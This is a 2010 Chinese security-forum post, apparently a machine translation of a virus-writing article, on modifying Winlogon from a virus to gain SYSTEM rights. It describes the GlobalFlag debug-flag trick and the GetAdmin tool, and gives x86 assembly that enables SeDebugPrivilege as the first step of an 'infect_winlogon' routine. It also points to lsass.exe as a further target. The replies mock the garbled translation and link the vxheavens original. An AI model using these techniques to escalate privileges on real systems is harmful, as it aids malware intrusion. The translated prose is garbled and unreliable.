首页
社区
课程
招聘
[原创]Winlogon感染
发表于: 2010-9-17 16:15 11091

[原创]Winlogon感染

2010-9-17 16:15
11091
介绍
  你可能已经打开winlogon通过OpenProcess 访问。你已经失败了,为什么?其中一个主要Winlogon Win32子系统造成,从而防止其他用户模式进程修改。像其他部件和系统的特权,这就是为什么?他是怎么办的。
  
  想象一个情况:你是runned病毒在正常的用户安全上下文中,但是你可以改变winlogon。这是什麽意思,你可以(除非你关掉sfp并安装一个密码木马)吗?所有的winlogon runned过程(即也是你的远程线程)是runned体系下,等于管理员权限。所以在你把所有的东西都admin-neede的病毒,你就会赢winlogon。
  
  关键的问题是这样的。如何让系统,让你修改winlogon子系统和其他一些,是有两个用户模式的方法来实现它。

Gflags技术
 Win2k的有全系统全局标志设置,可以让各种内部调试,跟踪和其他功能。在内核中有一个叫NtGlobalFlag这是每一个初始化从注册表项HKLM \ System \ CurrentControlSet \控制\会话管理\ GlobalFlag 启动一个变量。如果你有NTDDK到bin目录并运行gflags.exe。这一方案改变了这个关键,实现的功能...

此外,还存在两个标志,影响调试,到Win32子系统Winlogon中。这两个是“调试Win32子系统”和“调试的Win32子系统”。如果你想使它们或具有价值的 GlobalFlag。当然,你需要重新启动系统进行其他它的工作。

这项技术被用于著名GetAdmin工具。这progie用于AddAtom功能的内核模式错误,修改NtGlobalFlag Winlogon中的变量。然后,它拼命地跑Winlogon中的远程线程,将当前用户到管理员组。但它确实曾在Win2k/XP的错误是固定的。

SeDebugPrivilege的方法

  该方法与SeDebugPrivilege worx特权。这已被指定的账户语境下运行。Defaultly这个特权只有成员小组。管理员因此一旦让runned作为特权都加上这组,第一步将是做不到的。
  
  当这样做,我们可以在想想。现在我们已经使这个特权,因为defaultly残疾。这个示例代码从我的Win2k向你展示了如何做……
  
  让SeDebugPrivilege
; All used apis are exported by advapi32.dll
 
        SE_PRIVILEGE_ENABLED		equ	02h
 
TOKEN_PRIVILEGES	struc
	TP_count	dd	?
	TP_luid		dq	?
	TP_attribz	dd	?
TOKEN_PRIVILEGES	ends
 
 
        ....
        push SE_PRIVILEGE_ENABLED
	pop eax
        @pushsz "SeDebugPrivilege"
	pop esi
	call touch_privilege
	jz infect_winlogon_end
	....
 
 
touch_privilege:
	mov ebx, ebp
touch_privilege_	proc	near
	local	process_token:DWORD
	local	privilege_luid:QWORD
	local	token_privilegez:TOKEN_PRIVILEGES
 
	pushad
	@SEH_SetupFrame <jmp touch_privilege_end>
 
	xchg eax, edi
 
	call dword ptr [ebx+tGetCurrentProcess]
	lea edx, [process_token]
	push edx
	push TOKEN_ADJUST_PRIVILEGES
	push eax
	call dword ptr [ebx+tOpenProcessToken]
	dec eax
	jnz touch_privilege_end
 
	lea edx, [token_privilegez.TP_luid]
	push edx
	push esi
	push eax
	call dword ptr [ebx+tLookupPrivilegeValueA]
	dec eax
	jnz touch_privilege_close_p_token
 
	push eax
	push eax
	push type(TOKEN_PRIVILEGES)
	lea edx, [token_privilegez]
 
	push 1
	pop dword ptr [edx]
	mov dword ptr [edx.TP_attribz], edi
 
	push edx
	push eax
	push dword ptr [process_token]
	call dword ptr [ebx+tAdjustTokenPrivileges]
 
touch_privilege_close_p_token:
	push eax
	push dword ptr [process_token]
	call dword ptr [ebx+tCloseHandle]
	pop eax
touch_privilege_end:
	@SEH_RemoveFrame
	mov dword ptr [esp.Pushad_eax], eax
	popad
	leave
	retn
touch_privilege_	endp
上面的代码段里调整特权,从现在你终于可以修改任何你想要的东西

调试器用户

  简单的增加accoung除用户组,这应该工作,不过我没有测试过它,所以我没有百分之百的把握。如果你想要测试,让我知道。
  
  关闭

  不要忘记,不仅winlogon可能的受害者。Exampli gratia lsass.exe的主要安全部件(甚至是整个系统的内核安全功能与这一过程的工作,通过LPC)还可以进行修改。只是要通过逆向开发你才会发现…

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (21)
雪    币: 780
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
头像很有趣
内容看不懂
2010-9-17 16:37
0
雪    币: 4399
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
我读着就感觉这是机器翻译的结果。
2010-9-17 16:51
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
translate.google.com ?
2010-9-17 16:52
0
雪    币: 70
活跃值: (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
LS 正解啊
2010-9-17 17:19
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
有点忍不了。。。给楼主提个建议:原文如果是英文的话,还是发原文比较好,机器翻译很难懂。
如果原文不是英文的话,我忍了。。
2010-9-17 17:35
0
雪    币: 34
活跃值: (15)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
不是
也许我的语言表达能力不怎么样
2010-9-17 17:52
0
雪    币: 296
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
读着这么费劲呢。。。
2010-9-17 19:24
0
雪    币: 185
活跃值: (411)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
感觉有点中西合璧的意味  貌似没看懂 哈
2010-9-17 20:21
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
10
楼猪应该先练习唐诗三百首,再练习感染...
2010-9-17 21:16
0
雪    币: 91
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
MD,Google了下,上面的代码怎么像win2k.CannaByte病毒。实在看不懂
2010-9-17 22:47
0
雪    币: 247
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
看着有点痛苦啊,LZ发原文地址吧
2010-9-17 22:53
0
雪    币: 271
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wep
13
你可能已经打开winlogon通过OpenProcess 访问。你可能已经失败了,为什么?

这是一个语言正常的人说的话吗?  
2010-9-17 23:56
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
“智障”的语言
2010-9-18 00:01
0
雪    币: 998
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
明显是机器翻译结果,鉴定完毕。
2010-9-18 00:04
0
雪    币: 397
活跃值: (352)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
16
如果是你翻译的,你还有苦劳,否则就太xx了。
2010-9-18 00:28
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
看着有点痛苦啊,LZ发原文地址吧
2010-9-19 11:07
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
18
我~看完精神分裂了~
2010-9-19 11:42
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
赫赫。被看穿了。
2010-9-21 01:13
0
雪    币: 993
活跃值: (442)
能力值: ( LV12,RANK:403 )
在线值:
发帖
回帖
粉丝
20
原文在这里:
http://vxheavens.com/lib/vra08.html
2010-9-21 08:19
0
雪    币: 91
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
严重鄙视这种人,人品太烂了.
2010-9-21 08:33
0
雪    币: 264
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
哈哈 喜欢翻译vxheaven上文章的人还蛮多的
2010-9-26 10:31
0
游客
登录 | 注册 方可回帖
返回
//